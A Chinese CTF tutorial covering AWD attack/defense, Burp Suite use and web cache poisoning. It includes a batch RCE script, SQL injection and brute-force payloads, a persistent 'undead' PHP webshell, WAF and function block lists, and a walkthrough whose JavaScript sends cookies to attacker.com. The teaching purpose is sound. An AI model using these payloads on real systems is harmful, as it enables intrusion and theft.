AWD 的目标是一整个网段的同构机器(比如 192.168.1.11 到 192.168.1.30),手工一台台打是不可能的,必须写脚本循环打、自动交 flag。

以「漏洞是 ?cmd= 直接 RCE,flag 在 /flag」为例,最小批量脚本:

python
import re
import requests

# 目标列表:通常排除自己的 IP,具体规则以主办方为准
TARGETS = [f"192.168.1.{i}" for i in range(11, 31) if i != 10]

FLAG_RE = re.compile(r"flag\{[0-9a-fA-F-]{8,}\}")  # 按实际 flag 格式调整
SUBMIT_URL = "https://awd.example.com/api/submit"     # 平台提交接口
TOKEN = "你的队伍token"

def attack(ip):
    url = f"http://{ip}:8080/index.php"
    try:
        r = requests.get(url, params={"cmd": "cat /flag"}, timeout=3)
        m = FLAG_RE.search(r.text)
        return m.group(0) if m else None
    except requests.RequestException:
        return None

def submit(flag):
    try:
        r = requests.post(SUBMIT_URL, json={"flag": flag, "token": TOKEN}, timeout=5)
        print(f"    submit {flag}: {r.status_code} {r.text[:80]}")
    except requests.RequestException as e:
        print(f"    submit failed: {e}")

for ip in TARGETS:
    flag = attack(ip)
    print(f"[*] {ip} -> {flag}")
    if flag:
        submit(flag)

要点只有四个,但初学者最容易漏:

  • 超时必须设(timeout=3),一台挂掉的目标不能拖垮整个循环;
  • 排除自己的 IP,打自己不加分还可能把服务打挂;
  • flag 提取用正则按 实际格式 匹配,别假设;
  • 提交失败要打印响应,常见原因是 token 错、频率限制、flag 已过期。

每回合跑一次(手动跑或 while True: ...; sleep(300)),就是一个完整的攻击闭环。

第四步:通杀 payload 的快速落地

AWD 时间紧,payload 要提前备好「开箱即用」的版本,看到洞直接套。常备的几类:

bash
# 读 flag(flag 在文件里)
cat /flag
cat /flag.txt
cat $(find / -name 'flag*' 2>/dev/null | head -1)

# flag 在数据库里(通过 SQL 注入读)
' UNION SELECT flag FROM flags-- -

如果漏洞是文件上传(参见「文件上传」),提前准备好一句话木马和对应连接参数,上传后直接纳入批量脚本:

php
<?php @eval($_POST['cmd']); ?>

「通杀」的关键不是 payload 多花哨,而是 确认这一个洞在所有靶机上都一样。开局先挑一两台别人的机器手工验证 payload,确认返回里有 flag,再铺到批量脚本里。

修复策略

攻击脚本跑起来之后,立刻回头修自己。修法的取舍标准只有一个:挡住这个洞,且 check 不挂。

删危险点(首选)

如果漏洞点本身就是无用代码(出题人埋的 eval 后门、调试接口、硬编码后门账号),直接删掉是最干净的:

php
// 删掉之前
if (isset($_GET['cmd'])) { eval($_GET['cmd']); }   // 整段删除

// 上传点如果在比赛功能里根本用不到,可以把整个 upload.php 改名或删除

删文件前先确认 checker 不访问它——开局时抓一份 checker 的流量(方法见后文)就能知道 checker 会打哪些路径。

函数过滤 / 参数校验

洞在正常功能里(比如留言板的 SQL 注入),不能删功能,只能修代码。原则是 最小改动:

php
// 修之前:$id = $_GET['id'];直接拼进 SQL
// 修之后:强制转 int,功能性无损,注入面直接消失
$id = intval($_GET['id']);

字符串参数用预编译或转义;命令执行类功能能用白名单就用白名单。不要花时间去写「完美修复」,AWD 里「够用的修复 + check 通过」就是满分。

另外可以在 PHP 配置层面禁用危险函数(改了 php.ini 记得重启 PHP-FPM,且确认 Web 服务本身不依赖这些函数,否则 check 会挂):

ini
disable_functions = system,exec,shell_exec,passthru,popen,proc_open,assert,eval

WAF 文件(兜底手段)

实在来不及审代码,或者漏洞点太多,可以在所有 PHP 文件前自动挂一个 WAF。利用 php.ini 的 auto_prepend_file:

ini
auto_prepend_file = /var/www/html/waf.php
php
<?php
// waf.php:极简 WAF,够用即止
$input = file_get_contents('php://input') . ' ' . $_SERVER['QUERY_STRING'] . ' ' . json_encode($_POST);
$pattern = '/(\bunion\b.*\bselect\b|\bselect\b.*\bfrom\b|cat\s+\/flag|eval\s*\(|system\s*\(|<\?php)/i';
if (preg_match($pattern, $input)) {
    die('hacker!');
}
?>

WAF 是双刃剑,务必想清楚取舍:

  • 优点:一处部署、全站生效,几分钟搞定;
  • 缺点:规则太宽会误杀正常请求(checker 挂了比被打更亏);规则太窄会被别人绕过继续打;而且 别的队伍也会用同样的 WAF 规则反过来防你。

所以 WAF 的正确用法是:上线前先拿自己网站的核心功能(模拟 checker 的请求)过一遍确认不误杀,比赛中根据抓到的别人攻击流量 持续收紧规则。

修复完成的标准动作:本地改 → 上传 → 自己访问核心功能确认正常 → 用自己写的攻击脚本打一遍自己确认打不动 → 等下一轮 check 结果。

权限维持与流量监控

不死马

AWD 里你打进别人机器的同时别人也在打你。双方都修了漏洞之后,比拼的就是谁留下的后门更隐蔽。「不死马」是经典手段:一个驻留内存、循环写马的 PHP 进程,删了又会自己生成。

php
<?php
// ignore_user_abort:客户端断开也继续跑;set_time_limit(0):永不超时
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);                 // 自我删除,只留下内存中的进程
$file = '/var/www/html/.config.php';  // 藏一个不起眼的路径
while (true) {
    file_put_contents($file, '<?php @eval($_POST["pass"]); ?>');
    usleep(500000);               // 每 0.5 秒重新写一次
}
?>

访问一次后,进程会在后台无限重生一句话木马,对方删文件也没用(要 kill 掉对应 PHP-FPM 进程或重启服务才能清除)。

讲它的目的主要是 让你防:发现机器莫名多出 PHP 文件、删了又出现,就该怀疑中了不死马。查法:

bash
ps aux | grep -E 'php|www'          # 找异常 PHP 进程
kill -9 <pid>                        # 杀掉后删马
# 或者干脆重启服务:service php-fpm restart

同样,内存马、定时任务(crontab -l 检查)、.bashrc 后门都要排查。攻防一体:你会用什么,就重点防什么。

tcpdump 抓别人的 payload

流量监控是 AWD 信息差最大的来源。抓自己机器的流量,能同时得到三样东西:checker 长什么样(修代码的底线)、谁在打我(对方的 IP 和 payload)、我没发现的洞(别人用别的洞打进来了)。

bash
# 抓 80 端口的 POST 请求体,实时看
tcpdump -i any -A -s 0 'tcp port 80 and tcp[((tcp[12:1] & 0xf0) >> 2):4] = 0x504f5354'
# 0x504f5354 即 ASCII "POST",只匹配 POST 包,减少噪音

# 或者先存下来慢慢分析
tcpdump -i any -s 0 -w /tmp/traffic.pcap port 80

抓到别人打你的 payload 后:

  1. 照猫画虎打回去——他的 payload 证明了这条利用链有效,直接加进你的批量脚本;
  2. 反推漏洞点——他打的路径/参数就是你还没修的洞;
  3. 把特征加进 WAF 规则里。

也可以直接 tail -f Web 日志看访问记录(日志路径的找法见「【WEB】AWD技巧」),但日志只有 URL 没有 POST body,能抓包优先抓包。

团队分工建议

AWD 是团队赛,三个人各干一摊比三个人挤在一起审代码强得多。一个经过验证的最小分工:

  • 攻击手(1 人):只管攻击链。开局手工验证 payload,之后维护批量脚本,每回合确保脚本跑完、flag 都提交了。抓到的别人 payload 也由他测试和武器化。
  • 防守手(1 人):只管自己这台机器。备份、修洞、上 WAF、查杀不死马、盯 check 状态。判断标准:check 一直绿,且自己的攻击脚本打不动自己。
  • 审计/情报手(1 人):继续审源码找 别的洞(别人用你没见过的 payload 打进来时,由他定位新漏洞点),同时盯流量、整理 flag 提交情况和记分板信息。

人多的话按「每方向一个攻击手」扩,人少的话合并为「一人攻击+审计,一人防守+流量」。关键是 职责边界清晰、每回合碰头一次,避免两个人同时改同一个文件把服务改挂。

常用脚本框架与工具箱清单

赛前把这些东西准备好放进一个 U 盘/git 仓库,赛场上全是即战力:

  • 批量攻击脚本模板:就是上文那个 Python 循环的通用版——目标列表、攻击函数、flag 正则、提交函数四段式。提前按常见提交接口(HTTP POST、TCP 直连)各写一份。
  • 现成框架:awd-framework 类的开源轮子(GitHub 搜 "AWD 框架")把循环调度、多线程、flag 去重提交都做好了,会用即可,但 建议自己写过一遍上面那个最小脚本 再依赖框架——框架挂了你得能手工顶上。
  • 一句话木马与客户端:各种语言的一句话(PHP/JSP/ASP)、蚁剑(AntSword)或冰蝎(Behinder),以及上传利用的「文件上传」章节知识。
  • 通杀 payload 集:读文件、SQL 注入、命令执行的常用 payload,按「PHP特性与常见绕过」「SQL注入」「RCE」各章整理成文本文件。
  • WAF 模板:上面那个 waf.php 的加强版(分 GET/POST/COOKIE 检测、带日志记录),以及 disable_functions 配置片段。
  • 备份/部署脚本:一条命令完成「本地改好的目录 → 覆盖靶机 → 重启服务」的 rsync 脚本。
  • 抓包工具:tcpdump 命令行模板,本机装好 Wireshark 用于赛后复盘分析 .pcap。
  • 信息收集小抄:找 Web 目录、日志、配置文件的 find 命令集(见「【WEB】AWD技巧」)。

一个回合的完整实战流程

把上面的点串起来,一个标准回合长这样(以「Web 服务存在 ?cmd= RCE,flag 在 /flag」为例):

  1. T+0 分钟:SSH 上机,tar 备份源码和数据库到本地;另开终端 tcpdump -i any -s 0 -w round.pcap port 80 开始抓包。
  2. T+3 分钟:防守手 grep -rn 'eval\|system' html/ 找到 index.php 里 eval($_GET['cmd']);攻击手手工验证 curl 'http://192.168.1.12:8080/?cmd=cat /flag' 返回 flag{...},通杀确认。
  3. T+5 分钟:攻击手把 ?cmd=cat /flag 填进批量脚本跑全段,提交 flag;防守手在本地删掉那行 eval,上传,访问首页和核心功能确认正常,再用攻击脚本打自己确认打不穿。
  4. T+8 分钟:流量手 tail -f 日志 + 看 pcap,发现有人往 /upload.php POST 了不死马(自己机器上),立刻 ps aux | grep php 找到异常进程 kill 掉并删马、修上传点;同时把对方读 flag 的 payload 记下来转给攻击手。
  5. T+10 分钟:回合结束。确认记分板:攻击得分到账、check 全绿、无异常扣分。三人碰头 30 秒同步情报,进入下一回合。

整场比赛就是这个循环的重复:攻击脚本自动化之后,人的精力全部花在「找新洞、防新招」上——这正是 AWD 比解题赛更贴近真实攻防的地方。


Hc Web Burp (`docs/hc-web/burp.md`)


comments: true

Burp Suite

Burp Suite 是 Web 安全测试的事实标准工具:它把自己架在浏览器和目标站点之间当一个代理,所有 HTTP 请求和响应都要从它手里过一遍,你可以拦截、查看、修改、重放、批量爆破。CTF 的 Web 题,九成以上的解题过程都离不开它。

本章按「装好 → 抓到包 → 改包重放 → 爆破 → 辅助小工具 → 被动信息收集」的顺序讲,每一步都以做题为目标,够用即止。

!!! note "版本选择"
Community(免费)版已经覆盖了本章全部功能,足够打完绝大多数 CTF。Professional 版主要多了主动漏洞扫描器(Scanner)和无节流的 Intruder,CTF 场景不是刚需。社区版的 Intruder 有限速,小字典爆破完全够用。

安装与代理配置

安装

Burp Suite 是 Java 程序,去 PortSwigger 官网下载对应平台的安装包即可。Kali Linux 里自带(burpsuite 命令直接启动)。启动后选 Temporary project(做题不需要存项目文件),一路 Next 进入主界面。

界面顶部是一排功能标签,本章会用到的是:

  • Proxy:抓包、拦截、改包。
  • Repeater:手工重放一个请求。
  • Intruder:自动化批量发包(爆破)。
  • Decoder / Comparer:编码转换与报文对比。
  • Target:站点地图与被动扫描结果。

浏览器代理设置

Burp 默认监听 127.0.0.1:8080(可在 Proxy → Proxy settings 里改)。让浏览器的流量走 Burp,两种常见做法:

  1. 用 Burp 自带的浏览器:Proxy → Intercept 标签里点 Open browser,这个内置 Chromium 已经配好代理和证书,零配置,强烈推荐做题时用。
  2. 用自己的浏览器:装一个代理切换插件(如 FoxyProxy),把 HTTP/HTTPS 代理指向 127.0.0.1:8080。

HTTPS 证书

现在的 CTF 靶场越来越多用 HTTPS。HTTPS 是加密的,Burp 要在中间解密,就必须让浏览器信任 Burp 自己的 CA 证书,否则会报证书错误、抓不到包。

安装步骤:

  1. 浏览器代理已经指向 Burp 的前提下,访问 http://burp(或 http://127.0.0.1:8080),页面右上角点 CA Certificate 下载 cacert.der。
  2. 在浏览器证书管理里把它导入为「受信任的根证书颁发机构」。Firefox 用自己的证书库,要在 设置 → 隐私与安全 → 查看证书 → 证书颁发机构 → 导入 里操作,并勾选「信任此 CA 标识网站」。
  3. 重新访问 HTTPS 站点,不再报证书错误即成功。

如果用 Burp 内置浏览器,这一步可以跳过——它内置信任了 Burp 的 CA。

Proxy:抓包改包基本功

拦截开关与历史记录

Proxy → Intercept 标签里有个开关:Intercept is on / off。

  • on:每个请求发出去之前都会停在 Burp 里等你处理。你可以点 Forward 放行(可改后再放)、Drop 丢弃。
  • off:流量直接通过,Burp 只记录不拦截。

无论开关状态如何,所有经过的请求响应都记录在 HTTP history 里。做题时的常见姿势是:平时关着 Intercept,正常浏览让流量进历史记录,想细看哪个包就在历史里翻;只有要临时改一个 GET 参数之类的场景才临时打开拦截。

拦截改包示例

假设一道题要 POST /login,你想把提交的 role=user 改成 role=admin 看看有没有逻辑漏洞(配合《逻辑漏洞》一章的思路):

  1. 打开 Intercept is on。
  2. 浏览器提交表单,请求停在 Burp 里:
http
POST /login HTTP/1.1
Host: ctf.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=tom&password=123&role=user
  1. 直接把 role=user 改成 role=admin,点 Forward。
  2. 响应回来,要么显示在浏览器,要么在历史记录里看。

拦截界面里还能右键选择 Do intercept → Response to this request,把 响应 也拦下来改——某些前端校验的题(比如 JS 判断响应里的 success 字段才显示下一关)就靠改响应绕过。

!!! tip "别在拦截里干活"
拦截一次只能处理一个包,改包重放属于 Repeater 的活儿。拦到想要的包后,右键 Send to Repeater(Ctrl+R),然后关掉 Intercept,去 Repeater 里慢慢折腾。

Repeater:重放与手工测试

Repeater 是 CTF 里使用频率最高的标签:把一个请求放进去,改一改,点 Send,右边立刻看响应,可以无限次重复,互不干扰。

基本用法

  • 从 HTTP history 或 Intercept 里右键 Send to Repeater。
  • 左边是请求编辑器,直接改任何部分:URL 参数、Header、Body。改完点 Send。
  • 右边是响应,可以切换 Pretty(格式化)/ Raw(原始字节)/ Hex 视图。
  • 可以开多个 Repeater 标签页,右键标签名 Rename 改名,比如「union 注入」「读 flag」,方便管理一道题的多条线。

手工 SQL 注入示例

配合《SQL注入》一章,假设 GET /search?id=1 存在注入。在 Repeater 里依次尝试:

http
GET /search?id=1' HTTP/1.1
Host: ctf.example.com

响应报 500 错误 → 存在注入点。继续改:

http
GET /search?id=1' order by 3--+ HTTP/1.1

正常 → 列数至少是 3。再试:

http
GET /search?id=-1' union select 1,flag,3 from flag--+ HTTP/1.1

响应里直接带出 flag。整个过程就是在 Repeater 里「改一个字符 → Send → 看响应」的循环,比浏览器快得多,也不用担心 URL 编码问题——空格、'、-- 都按原样发。

!!! tip "自动 URL 编码"
有些 WAF 或后端对未编码的特殊字符敏感。在请求编辑器里选中一段文本,右键 Convert selection → URL → URL-encode key characters,Burp 会帮你编码。这也是测验「编码后还能不能注入」的快速办法。

Intruder:爆破实战

Intruder 用来「把一个请求模板里的某些位置换成字典里的值,自动发完所有组合」。打开方式:右键任意请求 Send to Intruder(Ctrl+I)。

核心概念

  • Payload positions(位置标记):在 Positions 标签里,用 § 包住要替换的部分。先点 Clear § 清空自动标记,再选中目标字符串点 Add §。
  • Attack type(攻击模式):
    • Sniper:逐个位置替换,每次只动一个位置。适合单个参数爆破。
    • Battering ram:所有位置同时换成同一个值。
    • Pitchfork:多个位置各自配一本字典,按行一一对应(如用户名表对密码表)。
    • Cluster bomb:多个位置字典做笛卡尔积,全组合。用户名字典 × 密码字典就用它。
  • Payloads(字典):在 Payloads 标签为每个位置选字典类型,最常用 Simple list,直接粘贴或从文件加载。

实战:登录口爆破

题目给一个登录页 POST /login,提示「弱口令」。已知测试用户 admin,想爆破密码。

第一步,正常登录一次,在 HTTP history 里找到这个请求,右键 Send to Intruder。

第二步,在 Positions 标签点 Clear §,然后选中 Body 里密码的值 123,点 Add §:

http
POST /login HTTP/1.1
Host: ctf.example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=§123§

攻击模式保持 Sniper(只有一个位置)。

第三步,切到 Payloads 标签,Payload type 选 Simple list,在 Payload settings 里粘贴或加载字典。CTF 常用字典:

text
123456
password
admin
admin123
12345678
qwerty
letmein

(Kali 自带 /usr/share/wordlists/rockyou.txt,社区版限速下建议先跑小字典。)

第四步,右上角点 Start attack。结果窗口按 Length(响应长度)或 Status 排序——爆破成功的标志几乎总是「响应和别人不一样」:密码错误的响应长度都相同,唯一长度不同(或状态码是 302 跳转)的那条就是正确密码。

实战:目录爆破

很多 CTF 题把关键页面藏在没有链接的目录里(配合《敏感信息泄露》一章的思路)。同样把一个 GET / HTTP/1.1 请求发进 Intruder,把位置标记在路径上:

http
GET /§§ HTTP/1.1
Host: ctf.example.com

字典用常见路径列表(如 admin、backup、upload、flag.php、.git/HEAD),开始攻击后按状态码排序,重点看 200 和 301/302 的条目。发现 GET /.git/HEAD 返回 200,就是典型的 Git 泄露题入口。

!!! tip "判断结果的技巧"
- 优先按 Length 排序,异类即答案。
- 可以在结果窗口点 Add 一列 Grep - Match:在攻击设置里加一条匹配规则(比如响应中包含 flag{),命中的行直接标出来。
- 错误密码返回 200、正确密码返回 302 的场景,按 Status 排序。

Decoder 与 Comparer:够用的小功能

Decoder:编码解码转换

Decoder 标签就是一个多格式转换器。粘贴一段文本,右边选择 Encode as / Decode as / Hash,支持 URL、HTML、Base64、Hex、JWT 等格式,还可以串联多次(Base64 套 URL 编码这种很常见)。

做题场景:

  • 响应里看到 ZmxhZ3toMGF...,怀疑是 Base64,粘进 Decoder 点 Decode as → Base64 验证。
  • 拿到一个 JWT(格式 xxxxx.yyyyy.zzzzz),Decoder 里 Base64-decode 第二段就能看到 payload 的 JSON 明文,改完再 encode 回去伪造(配合《逻辑漏洞》里越权的思路)。
  • 在 Repeater / Proxy 的任何输入框里,选中文本右键也有 Send to Decoder,不用手抄。

Comparer:报文对比

Comparer 用来对比两段文本的字节级差异。任意请求/响应右键 Send to Comparer,选两段后点 Words 或 Bytes 对比。

典型用途:

  • 注入题里对比 id=1 和 id=1' 的响应差了几个字节,判断报错点。
  • 爆破后对比「疑似成功」和「确定失败」的响应,找出成功标志字符串,回头配进 Intruder 的 Grep Match。

Target 与被动扫描

Target 站点地图

Target → Site map 按域名和目录树展示所有经过 Burp 的 URL——你只要正常浏览一遍目标站点,这里就自动拼出整站的结构。对 CTF 很有用的两点:

  • 一眼看出站点有哪些目录和接口,包括你页面上没点到、但 JS 里引用了的接口。
  • 任意节点右键 Send to Repeater / Intruder,不用回历史记录里翻。

被动扫描

「被动扫描」的意思是:Burp 不主动发任何攻击流量,只 分析已经经过它的请求响应,从中找出可疑点和信息泄露。Community 版也有这个功能。

结果看两处:

  • Target → Site map 里节点旁边的图标:带感叹号的是有问题的。
  • Dashboard → Issue activity:汇总所有发现的问题,如 Cleartext submission of password、Frameable response、响应里泄露的邮箱/注释等。

做题时浏览完一遍站点后扫一眼 Issue 列表,经常能捡到提示——比如响应注释里藏的路径、备份文件链接,直接指向《敏感信息泄露》类题目的突破口。

!!! note "主动扫描不在本章范围"
Professional 版的主动 Scanner 会主动向目标发攻击载荷探测漏洞。CTF 靶机一般结构简单、题意明确,手工 + Intruder 远比挂机扫描高效;而且比赛环境通常不允许对平台发起扫描流量,注意规则。

一道综合例题的完整过程

题目:访问目标只有一个登录框,提示「管理员的后门不止一个」。

  1. 抓包摸底:开 Burp 内置浏览器访问站点,关着 Intercept 正常点一遍。Target 站点地图里看到 /login、/static/,没有别的链接。
  2. 目录爆破:把 GET / 发进 Intruder,标记路径位置,跑常见目录字典。发现 /admin.php 返回 302 跳回登录页,/backup.zip 返回 200。
  3. 下载分析:浏览器下载 /backup.zip,解压得到网站源码。代码审计(方法见《PHP代码审计》一章)发现登录 SQL 是拼接的:
php
$sql = "SELECT * FROM users WHERE username='$u' AND password='$p'";
  1. Repeater 验证注入:把登录请求发进 Repeater,Body 改成:
text
username=admin'-- -&password=x

点 Send,响应 302 跳到 /admin.php——万能密码登录成功。
5. 拿 flag:浏览器里用同样 payload 登录,后台页面显示 flag{...}。

整条链:Target 看结构 → Intruder 爆破目录 → 源码审计 → Repeater 手工验证注入。Burp 的每个标签都用在了刀刃上,这也是大多数 CTF Web 题的标准解题流程。

小结

  • 装 Burp → 配代理 → 装 CA 证书,用内置浏览器可以省掉后两步。
  • Proxy 负责看和拦,HTTP history 是你的流量账本。
  • 改包重放去 Repeater,别在拦截里干活。
  • 批量爆破去 Intruder:标位置、选模式、配字典,结果按 Length 找异类。
  • Decoder 转码、Comparer 对比,随手右键 Send to 即可。
  • Target 站点地图 + 被动扫描的 Issue 列表,是免费的线索收集器。

Hc Web Cache Poisoning (`docs/hc-web/cache_poisoning.md`)


comments: true

缓存投毒

缓存投毒(Web Cache Poisoning)的核心思想一句话就能说清:攻击者精心构造一个请求,让缓存服务器把"有毒"的响应存下来,之后所有正常用户拿到的都是这份毒响应。它本身不是一种独立的漏洞类型,而是把缓存机制当成"放大器",把一次性的攻击(比如反射 XSS)变成持续命中所有访客的存储型攻击。

在 CTF 里,这类题通常伪装成一个带 CDN 或反向代理的普通站点,关键在于你能不能意识到"缓存"这一层的存在,并找出它的缓存键(Cache Key)规则。

Web 缓存机制入门

为什么需要缓存

一个典型的现代 Web 架构长这样:

text
用户 ──> CDN / 反向代理(Nginx、Varnish、Cloudflare...) ──> 后端应用

动态页面每次都要跑一遍后端逻辑、查一遍数据库,开销很大。于是中间加一层缓存:对于"看起来一样"的请求,直接返回之前存好的响应,后端根本不会被惊动。静态资源(.js、.css、图片)几乎必被缓存,很多站点还会缓存整个 HTML 页面。

Cache Key:缓存凭什么认为两个请求"一样"

缓存服务器收到请求后,会算出一个 Cache Key,用它去查自己存没存过对应响应。Cache Key 通常由这些部分组成:

http
GET /index.html HTTP/1.1
Host: example.com
  • 请求方法(GET)
  • Host 头
  • 请求路径 + 查询字符串(/index.html?utm_source=xx 和 /index.html 往往是不同的 Key)

关键在于:请求里的其他部分——各种额外的 Header、Cookie——默认不参与 Cache Key。这些"不参与算键、但可能影响响应内容"的输入,就是后面要讲的非键控输入(unkeyed input),也是一切缓存投毒的入口。

可以用 Burp Suite 的 Param Miner 插件或手动加一对随机参数来探测缓存行为:如果响应里出现 Age: 34、X-Cache: Hit、CF-Cache-Status: HIT 之类的头,说明你命中了缓存。

非键控输入(Unkeyed Input)

概念

所谓 unkeyed input,就是:服务器处理请求时会读它、并把它写进响应,但缓存算 Key 时却忽略它。

最常见的候选者:

  • X-Forwarded-Host:反向代理把原始 Host 透传给后端时用的头,后端经常直接拿它拼接链接、生成重定向地址。
  • X-Forwarded-Scheme / X-Forwarded-Proto:影响后端判断当前是 HTTP 还是 HTTPS。
  • X-Forwarded-For:有些应用会把它回显在页面里。
  • User-Agent、Referer:偶尔会被后端读去做逻辑分支或回显。

举个例子,后端可能有这样的代码:

php
<?php
// 根据 X-Forwarded-Host 生成站内链接
$host = $_SERVER['HTTP_X_FORWARDED_HOST'] ?? $_SERVER['HTTP_HOST'];
echo "<link rel=\"stylesheet\" href=\"https://{$host}/static/app.css\">";

如果 X-Forwarded-Host 不参与 Cache Key,麻烦就来了。

怎么发现

方法很朴素:挨个请求头塞一个独一无二的值,看响应里有没有把它吐回来。

http
GET / HTTP/1.1
Host: victim.com
X-Forwarded-Host: attacker-7f3a.example.com
http
HTTP/1.1 200 OK
X-Cache: Miss
Content-Type: text/html

<link rel="stylesheet" href="https://attacker-7f3a.example.com/static/app.css">

两个条件同时满足才算有戏:

  1. 响应中出现了你注入的值(说明后端读了这个头);
  2. 缓存忽略这个头(带不同值请求同一 URL,返回的却是同一份缓存,可用 X-Cache: Hit/Miss 和随机参数验证)。

Burp 的 Param Miner 可以自动跑这个流程;手动做的话,写个小脚本批量试也行:

python
import requests

url = "https://victim.com/"
headers_to_try = [
    "X-Forwarded-Host", "X-Forwarded-Scheme", "X-Forwarded-For",
    "X-Host", "X-Original-URL", "X-Rewrite-URL",
]

for h in headers_to_try:
    canary = f"canary-{h.lower()}.example.com"
    r = requests.get(url, headers={h: canary}, timeout=10)
    hit = "Hit" if canary in r.text else "----"
    cache = r.headers.get("X-Cache", "-")
    print(f"{h:25s} reflect={hit}  X-Cache={cache}")

投毒利用面

反射 XSS 固化

这是缓存投毒最经典的价值:把一次性的反射 XSS 变成"存储型"。

普通反射 XSS 需要诱骗受害者点你的特制链接;而如果反射点位于 unkeyed input,且响应会被缓存,那么你只要投毒一次,缓存有效期内 所有访问该 URL 的 normal 用户 都会执行你的脚本。

假设后端把 User-Agent 回显进页面(且不参与 Cache Key):

http
GET /search?q=hello HTTP/1.1
Host: victim.com
User-Agent: <script>alert(document.domain)</script>

响应 HTML 里原样嵌入了这段 UA,同时返回 X-Cache: Miss——这份有毒响应被写进缓存。之后任何人请求 /search?q=hello,拿到的都是带恶意脚本的页面,无需再点任何钓鱼链接。关于 XSS 的基础利用方式,可以交叉阅读本书「XSS攻击」一章。

实战中的注意点:

  • 投毒前先给 URL 加一个随机参数(如 ?q=hello&cb=12345)确认缓存行为,避免直接污染线上正常页面。
  • 缓存有 TTL(Age 头会告诉你已存了多久),过期后要重新投毒;CTF 里通常 TTL 很长或手动刷新即可。
  • 防御方视角:只缓存真正的静态资源、把 Vary 头配对、不让后端信任 X-Forwarded-*。

重定向劫持

另一种常见玩法:后端的 302 跳转地址由 unkeyed input 决定。

http
GET /logout HTTP/1.1
Host: victim.com
X-Forwarded-Host: evil.com
http
HTTP/1.1 302 Found
Location: https://evil.com/welcome
X-Cache: Miss

这份 302 被缓存后,所有点"退出登录"的用户都会被送往 evil.com。如果劫持的是 JS 静态资源的 URL(前面 X-Forwarded-Host 拼 href 的例子),效果等同 XSS:受害者浏览器会从你的服务器加载恶意 JS,还能长期控制。这类"拼接 URL 时信任了不该信的头"的思路,和「SSRF注入」里 URL 处理不当的问题一脉相承。

与请求走私的配合

顺带一提:缓存投毒还可以和「HTTP 请求走私」配合——用走私请求把毒响应"塞"进别人请求对应的缓存槽位,实现无需等待目标 URL 被访问的精准投毒。CTF 中偶尔作为组合考点出现,知道有这条路即可,细节可参考请求走私相关资料。

例题:一道典型的缓存投毒题

题目描述:某博客站点套了 CDN,hint 提示"管理员每天都会阅读首页"。目标是拿到 admin 的 Cookie(即打到 admin 身上的 XSS)。

第一步:确认缓存层存在

访问首页,响应头里有:

http
HTTP/1.1 200 OK
X-Cache: Hit
Age: 120

有 X-Cache 和 Age,说明前面确实有缓存。连续请求同一 URL,Age 不断增长且 X-Cache: Hit——缓存生效中。

第二步:找 unkeyed input

用上面的小脚本或手工逐个试请求头,发现:

bash
curl -s -D - "https://target.ctf/" -H "X-Forwarded-Host: test123.example.com" -o body.html
grep "test123" body.html

body.html 中出现:

html
<script src="https://test123.example.com/static/analytics.js"></script>

后端用 X-Forwarded-Host 拼了统计脚本的地址,并原样输出。再用不同的 X-Forwarded-Host 值请求同一 URL,第二次返回 X-Cache: Hit 且 HTML 还是第一次的内容——确认该头不参与 Cache Key,且响应可缓存。条件齐了。

第三步:投毒

自己 VPS 上放一个恶意 JS:

javascript
// https://attacker.com/static/analytics.js
new Image().src = "https://attacker.com/log?c=" + document.cookie;

然后发送投毒请求(注意第一次请求必须是 Miss,毒响应才会被写进去;必要时换个带随机参数的 URL 或等缓存过期):

bash
curl -s "https://target.ctf/?fresh=1" -H "X-Forwarded-Host: attacker.com"

确认响应里 <script src="https://attacker.com/static/analytics.js"> 且后续普通请求(不带任何特殊头)访问 /?fresh=1 也返回同样的毒页面、X-Cache: Hit。

第四步:坐等收杆

题目说 admin 每天看首页——但注意我们毒的是 /?fresh=1 这个 Key。正规做法是先确认首页 / 本身可缓存再直接对 / 投毒(CTF 环境里污染靶机首页是可接受的),或者利用题目提供的"report URL"功能让 bot 访问被投毒的地址。

admin 浏览器加载首页 → 从 attacker.com 拉取 analytics.js → Cookie 外带:

text
GET /log?c=flag=flag%7Bc4che_p0ison_st0red_xss%7D HTTP/1.1

拿到 flag,收工。

复盘要点

  • 整条链路:发现缓存 → 找 unkeyed input → 验证可缓存反射点 → 投毒 → 等受害者命中。
  • 本质是"反射 XSS + 缓存放大",所以 XSS 的基本功(见「XSS攻击」)依然是前置知识。
  • 拿到题目先盯响应头:X-Cache、Age、CF-Cache-Status、Vary,它们会告诉你缓存层的脾气。

小结

缓存投毒的门槛不在"漏洞利用",而在"意识到缓存的存在并摸清它的 Key 规则"。记住三句话:

  1. 缓存只按 Cache Key 区分请求,Key 之外的头(X-Forwarded-Host 等)是攻击面;
  2. 凡是"响应会被缓存 + unkeyed input 被回显/用于拼接"的地方,都可能把一次性漏洞固化成全员命中;
  3. 做题先侦察(X-Cache/Age),再注入 canary 验证,最后才投毒。

--- METRICS ---